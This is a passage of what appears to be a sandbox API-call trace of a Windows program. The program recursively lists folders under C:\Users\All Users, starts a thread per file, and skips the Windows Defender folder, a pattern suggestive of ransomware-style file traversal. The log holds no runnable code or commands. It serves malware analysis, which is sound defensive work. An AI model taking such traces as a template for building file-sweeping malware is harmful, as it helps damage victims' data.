returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0065.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1760 [0065.976] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0065.976] wcscmp (_String1="Network", _String2=".") returned 1 [0065.976] wcscmp (_String1="Network", _String2="..") returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x4148e0 [0065.976] wcscpy (in: _Dest=0x4148e0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.976] wcscat (in: _Dest=0x4148e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.976] wcscat (in: _Dest=0x4148e0, _Source="Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0065.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4148e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1764 [0065.978] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0065.978] wcscmp (_String1="OFFICE", _String2=".") returned 1 [0065.978] wcscmp (_String1="OFFICE", _String2="..") returned 1 [0065.978] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x445180 [0065.978] wcscpy (in: _Dest=0x445180, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.978] wcscat (in: _Dest=0x445180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.978] wcscat (in: _Dest=0x445180, _Source="OFFICE" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE") returned="C:\\Users\\All Users\\Microsoft\\OFFICE" [0065.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1768 [0065.979] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0065.979] wcscmp (_String1="OfficeSoftwareProtectionPlatform", _String2=".") returned 1 [0065.979] wcscmp (_String1="OfficeSoftwareProtectionPlatform", _String2="..") returned 1 [0065.979] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x446c38 [0065.979] wcscpy (in: _Dest=0x446c38, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.979] wcscat (in: _Dest=0x446c38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.979] wcscat (in: _Dest=0x446c38, _Source="OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0065.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x176c [0065.980] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0065.980] wcscmp (_String1="RAC", _String2=".") returned 1 [0065.980] wcscmp (_String1="RAC", _String2="..") returned 1 [0065.980] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444dc0 [0065.980] wcscpy (in: _Dest=0x444dc0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.980] wcscat (in: _Dest=0x444dc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.981] wcscat (in: _Dest=0x444dc0, _Source="RAC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC" [0065.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1770 [0065.982] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0065.982] wcscmp (_String1="Search", _String2=".") returned 1 [0065.982] wcscmp (_String1="Search", _String2="..") returned 1 [0065.982] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x4451d0 [0065.982] wcscpy (in: _Dest=0x4451d0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.982] wcscat (in: _Dest=0x4451d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.982] wcscat (in: _Dest=0x4451d0, _Source="Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0065.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4451d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1774 [0065.983] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0065.983] wcscmp (_String1="User Account Pictures", _String2=".") returned 1 [0065.983] wcscmp (_String1="User Account Pictures", _String2="..") returned 1 [0065.983] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c4e0 [0065.983] wcscpy (in: _Dest=0x43c4e0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.983] wcscat (in: _Dest=0x43c4e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.984] wcscat (in: _Dest=0x43c4e0, _Source="User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0065.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43c4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1778 [0065.985] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0065.985] wcscmp (_String1="Vault", _String2=".") returned 1 [0065.985] wcscmp (_String1="Vault", _String2="..") returned 1 [0065.985] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x445270 [0065.985] wcscpy (in: _Dest=0x445270, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.985] wcscat (in: _Dest=0x445270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.985] wcscat (in: _Dest=0x445270, _Source="Vault" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault" [0065.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x177c [0065.986] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0065.986] wcscmp (_String1="VISIO", _String2=".") returned 1 [0065.986] wcscmp (_String1="VISIO", _String2="..") returned 1 [0065.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x4450e0 [0065.986] wcscpy (in: _Dest=0x4450e0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.986] wcscat (in: _Dest=0x4450e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.986] wcscat (in: _Dest=0x4450e0, _Source="VISIO" | out: _Dest="C:\\Users\\All Users\\Microsoft\\VISIO") returned="C:\\Users\\All Users\\Microsoft\\VISIO" [0065.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4450e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1780 [0065.987] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0065.987] wcscmp (_String1="Windows", _String2=".") returned 1 [0065.987] wcscmp (_String1="Windows", _String2="..") returned 1 [0065.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414308 [0065.988] wcscpy (in: _Dest=0x414308, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.988] wcscat (in: _Dest=0x414308, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.988] wcscat (in: _Dest=0x414308, _Source="Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0065.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1784 [0065.989] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x591e8ca0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0x591e8ca0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0065.989] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0065.989] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0065.989] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48da08 [0065.989] wcscpy (in: _Dest=0x48da08, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.989] wcscat (in: _Dest=0x48da08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.989] wcscat (in: _Dest=0x48da08, _Source="Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0065.989] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48da08) returned 1 [0065.989] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0065.989] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0065.989] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0065.989] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x413f40 [0065.989] wcscpy (in: _Dest=0x413f40, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.989] wcscat (in: _Dest=0x413f40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.989] wcscat (in: _Dest=0x413f40, _Source="Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0065.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1788 [0065.991] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0065.991] wcscmp (_String1="WwanSvc", _String2=".") returned 1 [0065.991] wcscmp (_String1="WwanSvc", _String2="..") returned 1 [0065.991] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414780 [0065.991] wcscpy (in: _Dest=0x414780, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.991] wcscat (in: _Dest=0x414780, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.991] wcscat (in: _Dest=0x414780, _Source="WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0065.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178c [0065.992] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0065.993] FindClose (in: hFindFile=0x409f68 | out: hFindFile=0x409f68) returned 1 [0065.993] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e928) returned 1 [0065.993] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402570) returned 1 [0065.993] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029a8) returned 1 Thread: id = 691 os_tid = 0x930 [0051.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444e10 [0051.035] wcscpy (in: _Dest=0x444e10, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.035] wcscat (in: _Dest=0x444e10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.035] wcscat (in: _Dest=0x444e10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\*") returned="C:\\Users\\All Users\\Microsoft Help\\*" [0051.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f2c8 [0051.035] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*", lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440320 [0051.182] wcscmp (_String1=".", _String2=".") returned 0 [0051.182] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.182] wcscmp (_String1="..", _String2=".") returned 1 [0051.183] wcscmp (_String1="..", _String2="..") returned 0 [0051.183] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.hxn", cAlternateFileName="")) returned 1 [0051.183] wcscmp (_String1="Hx.hxn", _String2=".") returned 1 [0051.183] wcscmp (_String1="Hx.hxn", _String2="..") returned 1 [0051.183] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a250 [0051.183] wcscpy (in: _Dest=0x44a250, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.183] wcscat (in: _Dest=0x44a250, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.183] wcscat (in: _Dest=0x44a250, _Source="Hx.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn" [0051.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44a250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0051.649] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0051.649] wcscmp (_String1="MS.EXCEL.14.1033.hxn", _String2=".") returned 1 [0051.649] wcscmp (_String1="MS.EXCEL.14.1033.hxn", _String2="..") returned 1 [0051.649] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5ee0 [0051.649] wcscpy (in: _Dest=0x5ed5ee0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.649] wcscat (in: _Dest=0x5ed5ee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.649] wcscat (in: _Dest=0x5ed5ee0, _Source="MS.EXCEL.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn" [0051.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde0 [0051.650] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn", cAlternateFileName="MSEXCE~2.HXN")) returned 1 [0051.650] wcscmp (_String1="MS.EXCEL.DEV.14.1033.hxn", _String2=".") returned 1 [0051.650] wcscmp (_String1="MS.EXCEL.DEV.14.1033.hxn", _String2="..") returned 1 [0051.650] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08618 [0051.650] wcscpy (in: _Dest=0x12e08618, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.650] wcscat (in: _Dest=0x12e08618, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0051.650] wcscat (in: _Dest=0x12e08618, _Source="MS.EXCEL.DEV.14.1033.hxn" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" [0051.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde4 [0051.652] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1 [0051.652] wcscmp (_String1="MS.GRAPH.14.1033.hxn", _String2=".") returned 1 [0051.652] wcscmp (_String1="MS.GRAPH.14.1033.hxn", _String2="..") returned 1 [0051.652] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5f58 [0051.652] wcscpy (in: _Dest=0x5ed5f58, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0051.652] wcscat (in: _Dest=0x5ed5f58, 